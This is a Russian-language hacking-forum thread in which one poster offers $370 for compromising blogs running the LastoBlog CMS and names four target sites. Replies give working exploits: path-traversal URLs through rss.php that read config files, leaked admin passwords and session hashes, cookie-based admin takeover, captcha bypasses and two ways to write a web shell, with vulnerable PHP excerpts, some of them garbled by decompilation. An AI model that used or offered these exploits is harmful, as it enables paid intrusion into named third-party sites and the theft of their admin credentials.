Приветствую господа! Когда то юзал CMS LastoBlog, несколько раз дефейсили его, следовательно взлому он поддается Гонорар $370 тому, кто похакает сайт на этом движке. Сайт не затирайте просто, положите какой-нибудь файл, вот парочка таргетов на этом движке: blog.d21.ru goldguru.ru/blog/ dimox.biz prmstudio.com Если нужна сама cms, пишите в личку. Результаты будут опубликованы здесь. Впирьйод на бобра!
Ибо, мне кажется, ты часть файлов забыл в архив положить... Сразу бросается в глаза отсутствие в корне файлов login.html, connect.html, search.html и др. Можешь выложить какую-нить менее коцанную версию?
Я так понимаю, если я залью любой файл в корень любого из сайтов в этой теме на этом движке я полочу гонарар или там будут дополнительные условия?
посмотрел исходники, эти и свежие с офф. сайта(10WMZ). Твои несколько устарели. Но ни там ни сям нет глобальных уязвимостей. Есть опасные моменты. Есть недочеты по безопасности из разряда "как не надо делать". Но если сервак настроен правильно - воспользоваться не выйдет. Сломать можно либо через хсс, либо только через revers-ip. Не даю гарантии. Мог что-то не заметить, однако копал довольно долго и придирчиво.
Вобщем, я подумал еще раз и.... В том коде что ты дал(старые исходники): ========================== Чтение произвольного файла. Массив $posts не определен изначально. При register_globals=ON мы можем внести свои файлы в список отображаемых. Требование: register_globals=ON Эксплоит: /rss.php?posts[]=../session.php /rss.php?posts[]=../settings.php /rss.php?posts[]=../blog_settings.ini /data/session.php <? $_s["sid"]="74e8cbbe945570109125f10a20bf5df8"; ?> /data/settings.php $_s['pass'] = "fsdkj8309u7ghowrj32"; // пароль для входа в админку. /data/blog_settings.ini login="admin"; логин для входа в админку. pass="entero"; пароль для входа в админку. pepetun="default"; измените на любое английское слово. email="vadim_lasto@mail.ru"; Вырезка уязвимого кода: /rss.php PHP: $d=dir("data/posts"); while (false!==($entry=$d->read())) if (strlen($entry)==10 && is_numeric($entry) && $entry <= time()) $posts[]=$entry; ========================== Так получаем админские привилегии по хешу из "/data/session.php" COOKIE: admin_connected=74e8cbbe945570109125f10a20bf5df8; Вырезка уязвимого кода: /index.php PHP: $_s['admin']=(isset($_COOKIE['admin_connected']) and $_COOKIE['admin_connected']==$_s["sid"]) ? true : false; ========================== Зачетный обход капчи в куках: Вырезка уязвимого кода: /index.php PHP: or $_COOKIE['secret_number']!=$_POST['verification']) exit("wrong key control"); /key.php list ($x,$y,$sc,$tt)=array( 120, 19, array(array(255,255,255),array(0,0,255)), (isset($_COOKIE['secret_number']) and is_numeric($_COOKIE["secret_number"])) ? $_COOKIE["secret_number"]: " ERROR " ); ========================== ========================== ========================== В свежих исходниках с сайта: Last Blog version_05.10.07 work возможная не\работоспособность кода обусловлена кривостью дезендера ========================== Обход капчи в куках: /key.php PHP: $n = extract( $_GET, EXTR_OVERWRITE ); ========================== Создание шела. В секции "new","old" имя файла $fn не определено При register_globals=ON мы можем переопределить путь /index.php PHP: case "new" : $_s['post_short_info'][$page] = $data; $_s['post_short_info'] = arr2disk( $_s['post_short_info'], $indx ); fw( $data['title'].$oslen.$oslen.$text, $fn ); fw( "", $cn ); build_index( $page ); redirect( $turl."/post_$page.html" ); exit( ); case "old" : $data['com'] = isset( $_s['post_short_info'][$cat]['com'] ) ? $_s['post_short_info'][$cat]['com'] : $data['com']; if ( $cat != $page ) { if ( unlink( $fo ) ) { if ( rename( $co, $cn ) || isset( $_s['post_short_info'][$cat] ) ) { } } } $_s['post_short_info'][$page] = $data; $_s['post_short_info'] = arr2disk( $_s['post_short_info'], $indx ); fw( $data['title'].$oslen.$oslen.$text, $fn ); build_index( $page ); redirect( $turl."/comment_$page.html" ); exit( ); do { default : } while ( in_array( $cat, $posts ) ? "old" : "new" ? TRUE : ); exit( ); ========================== Создание шела. $_POST['text'] не фильтруется и подставляется в имя записываемого файла. Желательно magic_qoutes=OFF /remoute.html POST: [some_parameters_here] Вырезка уязвимого кода: /data/php_pages/remoute.php PHP: $state = true == $_s['admin'] ? "getform" : "work"; case "work" : do { if ( !isset( $_POST['title'] ) && isset( $_POST['publicate'] ) && isset( $_POST['text'] ) && isset( $_POST['category'] ) && isset( $_POST['code'] ) ) break; if ( in_array( $_POST['category'], array_keys( $_s['cats'] ) ) ) { } } while( 0 ); finita( $_s['lang']['failed'] ); if ( trim( $_POST['title'] ) == "" ) { finita( $_s['lang']['postcreate_nosubj'] ); } if ( trim( $_POST['text'] ) == "" ) { finita( $_s['lang']['postcreate_empty'] ); } $a = explode( " ", trim( $_POST['publicate'] ) ); if ( count( $a ) != 2 ) { finita( $_s['lang']['postcreate_date_wrong'] ); } $b = explode( ".", $a[0] ); $c = explode( ":", $a[1] ); if ( count( $b ) != 3 ) { finita( $_s['lang']['postcreate_date_error'] ); } if ( count( $c ) != 3 ) { finita( $_s['lang']['postcreate_time_error'] ); } $page = mktime( $c[0], $c[1], $c[2], $b[1], $b[0], $b[2] ); $data = array( "cat"=>trim( $_POST['category'] ), "title"=>trim( $_POST['title'] ), "com"=>0 ); $cn = trim( $_POST['text'] ); $co = trim( $_POST['text'] ); $fn = trim( $_POST['text'] ); $fo = trim( $_POST['text'] ); $indx = trim( $_POST['text'] ); $text = trim( $_POST['text'] ); array( , "./data/posts/index.php", "./data/posts/".$cat, "./data/posts/".$page, "./data/comments/".$cat, "./data/comments/".$page ); $sw = in_array( $cat, $posts ) ? "old" : "new"; case "new" : $_s['post_short_info'][$page] = $data; $_s['post_short_info'] = arr2disk( $_s['post_short_info'], $indx ); fw( $data['title'].$oslen.$oslen.$text, $fn ); fw( "", $cn ); build_index( $page ); exit( ); function fw($content, $file) { if (file_exists($file)) $db=fopen($file,"r+"); else $db=fopen("$file","w"); if ($db) { set_file_buffer($db,0); flock($db,LOCK_EX); ftruncate($db,0); fwrite($db, $content); flock($db,LOCK_UN); fclose($db); } } ==========================